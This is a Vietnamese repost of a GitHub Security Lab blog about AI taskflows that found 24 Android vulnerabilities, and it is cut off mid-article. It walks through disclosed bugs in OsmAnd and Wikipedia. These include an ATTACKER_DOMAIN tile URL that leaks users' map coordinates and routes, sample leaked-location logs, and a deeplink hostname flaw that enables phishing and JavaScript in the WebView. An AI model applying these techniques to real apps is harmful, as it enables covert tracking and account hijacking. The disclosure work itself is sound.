# GitHub dùng AI Agent mã nguồn mở để phát hiện 24 lỗ hổng bảo mật trên Android

- Nguồn: GitHub Blog
- Thời gian phát hành: 2026-09-29 02:00 (giờ Việt Nam)
- Điểm AI: 71/100
- Nhãn AIHOT: Tinh chọn
- Link AIHOT.vn: https://aihot.vn/items/616c91c032887994
- Nguồn dữ liệu AI HOT: https://aihot.news/items/znhv47px0r7w6s8cikm7fb0pp
- Link gốc: https://github.blog/security/how-we-found-24-android-vulnerabilities-using-our-open-source-ai-security-agent

## Lý do tinh chọn

Tác giả chia sẻ trải nghiệm thực tế về thiết kế luồng tác vụ, kèm ví dụ lỗ hổng cụ thể và hạn chế của LLM, giúp người dùng dễ dàng áp dụng vào dự án cá nhân.

## Tóm tắt AI

GitHub Security Lab giới thiệu bộ công cụ seclab-taskflows, sử dụng các luồng tác vụ AI để tự động hóa quy trình kiểm định và tìm ra 24 lỗ hổng bảo mật trong ứng dụng Android.

## Thân bài

![How we found 24 Android vulnerabilities using our open source AI security agent](https://github.blog/wp-content/uploads/2026/01/generic-security-invertocat-blocks-copilot.png?fit=1920%2C1080)

Tìm hiểu về các taskflow AI có mục tiêu đằng sau những phát hiện này, các lỗi Android nghiêm trọng mà chúng đã tìm ra, và cách chạy cùng một tác nhân mã nguồn mở trên ứng dụng của riêng bạn.

28 tháng 9, 2026

10 phút

- Chia sẻ:

Với sự trỗi dậy của AI trong lĩnh vực bảo mật, đội ngũ của chúng tôi đã tạo ra [GitHub Security Lab Taskflow Agent](https://github.blog/security/community-powered-security-with-ai-an-open-source-framework-for-security-research/) như một cách để các nhà nghiên cứu bảo mật dễ dàng tự động hóa, đóng gói và chia sẻ các câu lệnh (prompt) và quy trình làm việc AI mà họ thấy hiệu quả cho công việc của mình. Trong bài viết này, tôi sẽ chia sẻ cách tôi tạo ra các taskflow kiểm định để tìm lỗ hổng trong các ứng dụng Android.

Mặc dù các mô hình mới đang ngày càng hiểu mã nguồn tốt hơn, nhưng các câu lệnh taskflow tùy chỉnh cho phép các nhà nghiên cứu bảo mật dẫn dắt chúng—chia nhỏ quá trình nghiên cứu thành các bước tăng dần để giúp LLM tìm ra các lỗ hổng phức tạp nhanh hơn, hoặc những lỗ hổng mà trước đây nó có thể đã bỏ sót hoàn toàn.

Sử dụng các taskflow này, tôi đã báo cáo hơn 20 lỗ hổng trong các ứng dụng Android. Bạn có thể xem [trang thông báo](https://securitylab.github.com/ai-agents/) của chúng tôi để biết khi nào các lỗ hổng mới được công bố. Ngoài ra, hãy tiếp tục đọc để xem một vài ví dụ cụ thể về các lỗ hổng có tác động cao mà các taskflow này đã tìm thấy.

### Cách chạy các taskflow trên dự án của riêng bạn

Bạn muốn bắt đầu ngay? Các taskflow này là mã nguồn mở và dễ dàng để bạn tự chạy. Xin lưu ý: Cần có giấy phép GitHub Copilot và các câu lệnh sẽ sử dụng các yêu cầu mô hình cao cấp (premium model requests). Việc chạy các taskflow có thể dẫn đến nhiều lệnh gọi công cụ (tool calls), điều này có thể dễ dàng tiêu tốn một lượng lớn token.

1. Truy cập kho lưu trữ seclab-taskflows và khởi chạy một codespace.
2. Đợi vài phút để codespace khởi tạo.
3. Trong terminal, chạy./scripts/audit/run_mobile.sh myorg/myrepo

Quá trình này có thể mất một hoặc hai giờ để hoàn tất trên một kho lưu trữ có kích thước trung bình. Khi hoàn tất, nó sẽ mở một trình xem SQLite với các kết quả. Hãy mở bảng “audit_results” và tìm các hàng có dấu kiểm trong cột “has_vulnerability”.

### Tạo các taskflow kiểm định có mục tiêu cho ứng dụng Android

Các đồng nghiệp của tôi là Peter và Mo trước đây đã viết một [bài blog](https://github.blog/security/how-to-scan-for-vulnerabilities-with-github-security-labs-open-source-ai-powered-framework/) về các taskflow kiểm định của họ. Mặc dù các taskflow đó đã hoạt động tốt, nhưng các ứng dụng Android có những nhóm lỗ hổng đặc thù mà chúng tôi muốn các taskflow tập trung vào, vì vậy chúng tôi cần phải dẫn dắt chúng.

Đầu tiên, tôi đã thêm một taskflow có tên gather_mobile_entry_point_info.yaml. Các điểm truy cập (entry points) là những nơi trong mã nguồn mà dữ liệu do kẻ tấn công kiểm soát có thể đi qua. Taskflow này lấy các điểm truy cập và tách chúng thành các điểm truy cập di động và không phải di động. Điều này cho phép AI chạy trên các kho lưu trữ chứa nhiều loại ứng dụng khác nhau—ứng dụng di động, máy chủ web, ứng dụng máy tính—trong khi vẫn hiểu được bề mặt tấn công chính xác.

Thứ hai, tôi đã chỉnh sửa classify_application_local.yaml. Trong đó, tôi chỉ định một danh sách các nhóm lỗ hổng phổ biến và yêu cầu LLM xem xét chúng trong bối cảnh của từng điểm truy cập và thành phần. Vì các lỗ hổng ứng dụng di động ít được biết đến rộng rãi hơn và LLM không mang tính tất định, chúng ta nên đảm bảo LLM kiểm tra các nhóm lỗ hổng thiết yếu nhất định. Ví dụ, nếu ở bước trước taskflow đã xác định được một điểm truy cập dựa trên intent, thì nó sẽ có một danh sách các lỗ hổng dựa trên intent phổ biến để kiểm tra, chẳng hạn như confused deputy hoặc insecure broadcasts. Điều này giúp LLM tìm thấy các kết nối giữa các thành phần và duy trì cái nhìn tổng quan về mô hình đe dọa.

Bằng cách kết hợp cả hai câu lệnh qua nhiều lần chạy, chúng ta có được ưu điểm của cả hai: câu lệnh nghiêm ngặt và các lần chạy lặp lại đảm bảo không bỏ sót các lỗ hổng rõ ràng, trong khi câu lệnh mở rộng cho phép AI phát huy tối đa khả năng sáng tạo của nó.

### Hai ví dụ về các lỗ hổng được tìm thấy bởi các taskflow

Trong phần này, chúng tôi sẽ trình bày hai ví dụ về các lỗ hổng đã được tìm thấy bởi các taskflow và đã được công bố. Tổng cộng, chúng tôi đã tìm thấy và báo cáo 24 lỗ hổng cho đến nay.

### Theo dõi người dùng qua OsmAnd

OsmAnd là một ứng dụng điều hướng bên thứ ba phổ biến sử dụng Open-Street-Map làm nguồn dữ liệu chính. Có sẵn trên cả App Store và Play Store, chúng ta sẽ xem xét phiên bản Android, vốn có hơn 10 triệu lượt tải xuống. Trong phần này, chúng ta sẽ xem xét lỗ hổng thú vị nhất trong ba lỗ hổng đã được phát hiện: một lỗ hổng cho phép các ứng dụng độc hại theo dõi vị trí của thiết bị.

OsmAnd xuất (export) một activity có tên MapActivity. Một Android activity là một màn hình đơn lẻ, tập trung trong ứng dụng cung cấp giao diện người dùng để người dùng tương tác. MapActivity xử lý việc mở các tệp cài đặt và deeplink trong ứng dụng và được xuất ra ngoài. Một activity được xuất là activity có thể được khởi chạy bởi các thành phần bên ngoài ứng dụng của chính nó.

![screenshot of an android.xml file](https://github.blog/wp-content/uploads/2026/08/633863693-a990bd2a-bccb-49ad-a71b-1492598801cf.png?resize=1024%2C244)

Tuy nhiên, khi mở các tệp cài đặt, ứng dụng cho phép các intent extras (settings_version, silent_import, replace, export_type_list_key). Intents là các đối tượng nhắn tin trong Android được sử dụng để yêu cầu một hành động từ một thành phần ứng dụng khác, và intent extras là các cặp khóa-giá trị của dữ liệu được đính kèm vào một intent để truyền thông tin cùng với yêu cầu đó. MapActivity chỉ mong đợi các extras này đến từ một dịch vụ AIDL. Chúng lẽ ra phải được truyền qua một kênh trong tiến trình (in-process channel) thay vì intent extras, bởi vì bất kỳ ứng dụng nào cũng có thể đặt các extras tùy ý vào bất kỳ intent nào gửi đến bất kỳ activity được xuất nào. Android không cung cấp cơ chế nào để hạn chế các extras mà một trình gọi bên ngoài có thể thiết lập.

Vì MapActivity được xuất, bất kỳ ứng dụng nào cũng có thể gửi một [intent](https://developer.android.com/reference/android/content/Intent) đến activity này với bất kỳ [extras](https://developer.android.com/reference/android/content/Intent) nào chúng ta muốn, bao gồm cả các intent extras có thể cho phép chúng ta nhập cài đặt vào ứng dụng mà không bị phát hiện. Ứng dụng Android sử dụng hàm handleOsmAndSettingsImport để nhập các cài đặt sau:

- SilentImport: cho phép nhập mà không cần thông báo
- Replace: cho phép chúng ta thay thế thay vì chỉ thêm cài đặt
- SettingsTypes: cho phép chúng ta nhập mà không cần xác nhận của người dùng

```
private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) { 
    fileName = fileName.replace(ZIP_EXT, ""); 
    if (extras != null && CollectionUtils.containsAny(extras.keySet(), 
            SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) { 
        int version = extras.getInt(SETTINGS_VERSION_KEY, -1); 
        String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY); 
        boolean replace = extras.getBoolean(REPLACE_KEY);              // ← attacker-controlled 
        boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY);   // ← attacker-controlled 
        ArrayList<String> exportTypeKeys = 
            extras.getStringArrayList(EXPORT_TYPE_LIST_KEY);           // ← attacker-controlled 
        List<ExportType> exportTypes = null; 
        if (exportTypeKeys != null) { 
            exportTypes = ExportType.valuesOf(exportTypeKeys); 
        } 
        handleOsmAndSettingsImport(intentUri, fileName, exportTypes, 
            replace, silentImport, latestChanges, version); 
    } else { 
        handleOsmAndSettingsImport(intentUri, fileName, 
            null, false, false, null, -1);                             // safe defaults 
    } 
}
```

Vì giờ đây chúng ta có thể nhập bất kỳ cài đặt nào mình muốn, chúng ta có thể thực hiện một số thay đổi quan trọng. Ví dụ, chúng ta có thể thay thế các ô (tiles) trên bản đồ. OsmAnd định dạng URL cho mỗi ô theo định dạng sau:

```
return MessageFormat.format(urlTemplate, zoom + "", x + "", y + "");
```

Theo mặc định, OsmAnd sử dụng các ô cục bộ, tuy nhiên chúng ta có thể ghi đè các tệp ô mặc định bằng URL sau:

```
f"{ATTACKER_DOMAIN}/tiles/{{0}}/{{1}}/{{2}}.png",
```

Sau đó, chúng ta có thể rò rỉ tọa độ x, y chính xác của mọi ô. URL mong đợi phản hồi của URL đó chứa một hình ảnh cho ô, vì vậy trên máy chủ backend của kẻ tấn công, chúng ta phục vụ ô tương ứng từ OpenStreetMaps. Kẻ tấn công có danh sách tọa độ x, y của mọi ô mà người dùng đã tải trên ứng dụng OsmAnd, và người dùng không hề biết rằng cài đặt ứng dụng của họ đã bị thay đổi. Điều này cho phép bất kỳ ứng dụng nào, ngay cả ứng dụng không có quyền, cũng có thể ghi đè cài đặt của OsmAnd và gửi dữ liệu vị trí riêng tư về máy chủ của chúng.

```
# [TILE #1]  14:23:07  z=15 x=9649 y=12320 
#   ├── center: 40.70979, -73.98743 
#   └── 🗺️  https://www.openstreetmap.org/#map=15/40.70979/-73.98743
```

Sử dụng cùng lỗ hổng đó, chúng ta cũng có thể lấy được điểm đi và điểm đến cho mọi lộ trình mà người dùng thực hiện trên OsmAnd gửi đến máy chủ của kẻ tấn công, mà người dùng không hề nhận thấy bất kỳ thay đổi nào.

```
[ROUTE #1] 07:02:47  vehicle=car  waypoints=2 
  ├── path: /osrm/car/-122.084,37.4219983;-122.32450103759766,37.99944305419922 
  ├── 📍 ORIGIN:      37.421998, -122.084000 
  │      https://www.openstreetmap.org/#map=15/37.42200/-122.08400 
  ├── 🏁 DESTINATION: 37.999443, -122.324501 
  │      https://www.openstreetmap.org/#map=15/37.99944/-122.32450
```

### Chiếm quyền điều khiển tài khoản Wikipedia qua deeplink

Tiếp theo, chúng ta sẽ xem xét ứng dụng Wikipedia trên Android, cho phép người dùng duyệt Wikipedia ngay trên điện thoại. Để duyệt các trang web Wikipedia trong ứng dụng, ứng dụng Wikipedia Android đăng ký một hook cho deeplink wikipedia:// để mở ứng dụng. Ví dụ, một deeplink có thể trông như thế này: wikipedia://wikipedia.org/wiki/PoC. Tuy nhiên, một lỗi logic trong trình phân tích cú pháp hostname cho phép chúng ta tải các URL không thuộc Wikipedia.

```
    private fun handleIntent(intent: Intent) { 
        if (Intent.ACTION_VIEW == intent.action && intent.data != null) { 
            // TODO: handle special cases of non-article content, e.g. shared reading lists. 
            intent.data?.let { 
                if (it.authority.orEmpty().endsWith(WikiSite.BASE_DOMAIN)) { 
                    // Pass it right along to PageActivity 
                    val uri = Uri.parse(it.toString().replace("wikipedia://", WikiSite.DEFAULT_SCHEME + "://")) 
                    startActivity(Intent(this, PageActivity::class.java) 
                            .setAction(Intent.ACTION_VIEW) 
                            .setData(uri)) 
                } 
            } 
        } 
    }
```

Primitive này cho phép chúng ta điều hướng người dùng đến bất kỳ trang web nào mình chọn bằng cách sử dụng deeplink wikipedia://, và đánh lừa người dùng rằng họ đang ở trên trang Wikipedia, trong khi thực tế họ đang ở trên một trang web do kẻ tấn công kiểm soát. Ngoài ra, kẻ tấn công có thể chạy JavaScript tùy ý trong WebView của ứng dụng, một primitive nguy hiểm cung cấp cho kẻ tấn công điểm truy cập vào các môi trường vốn thường được coi là an toàn. Mẫu lỗ hổng này xuất hiện không chỉ một mà là hai lần trong cùng một ứng dụng:

```
// SharedPreferenceCookieManager.kt:101 
if (domain.endsWith(domainSpec)) { 
    buildCookieList(cookieList, cookiesForDomainSpec, null) 
}
```

_Bài gốc còn tiếp._ Xem tiếp tại: <https://github.blog/security/how-we-found-24-android-vulnerabilities-using-our-open-source-ai-security-agent>
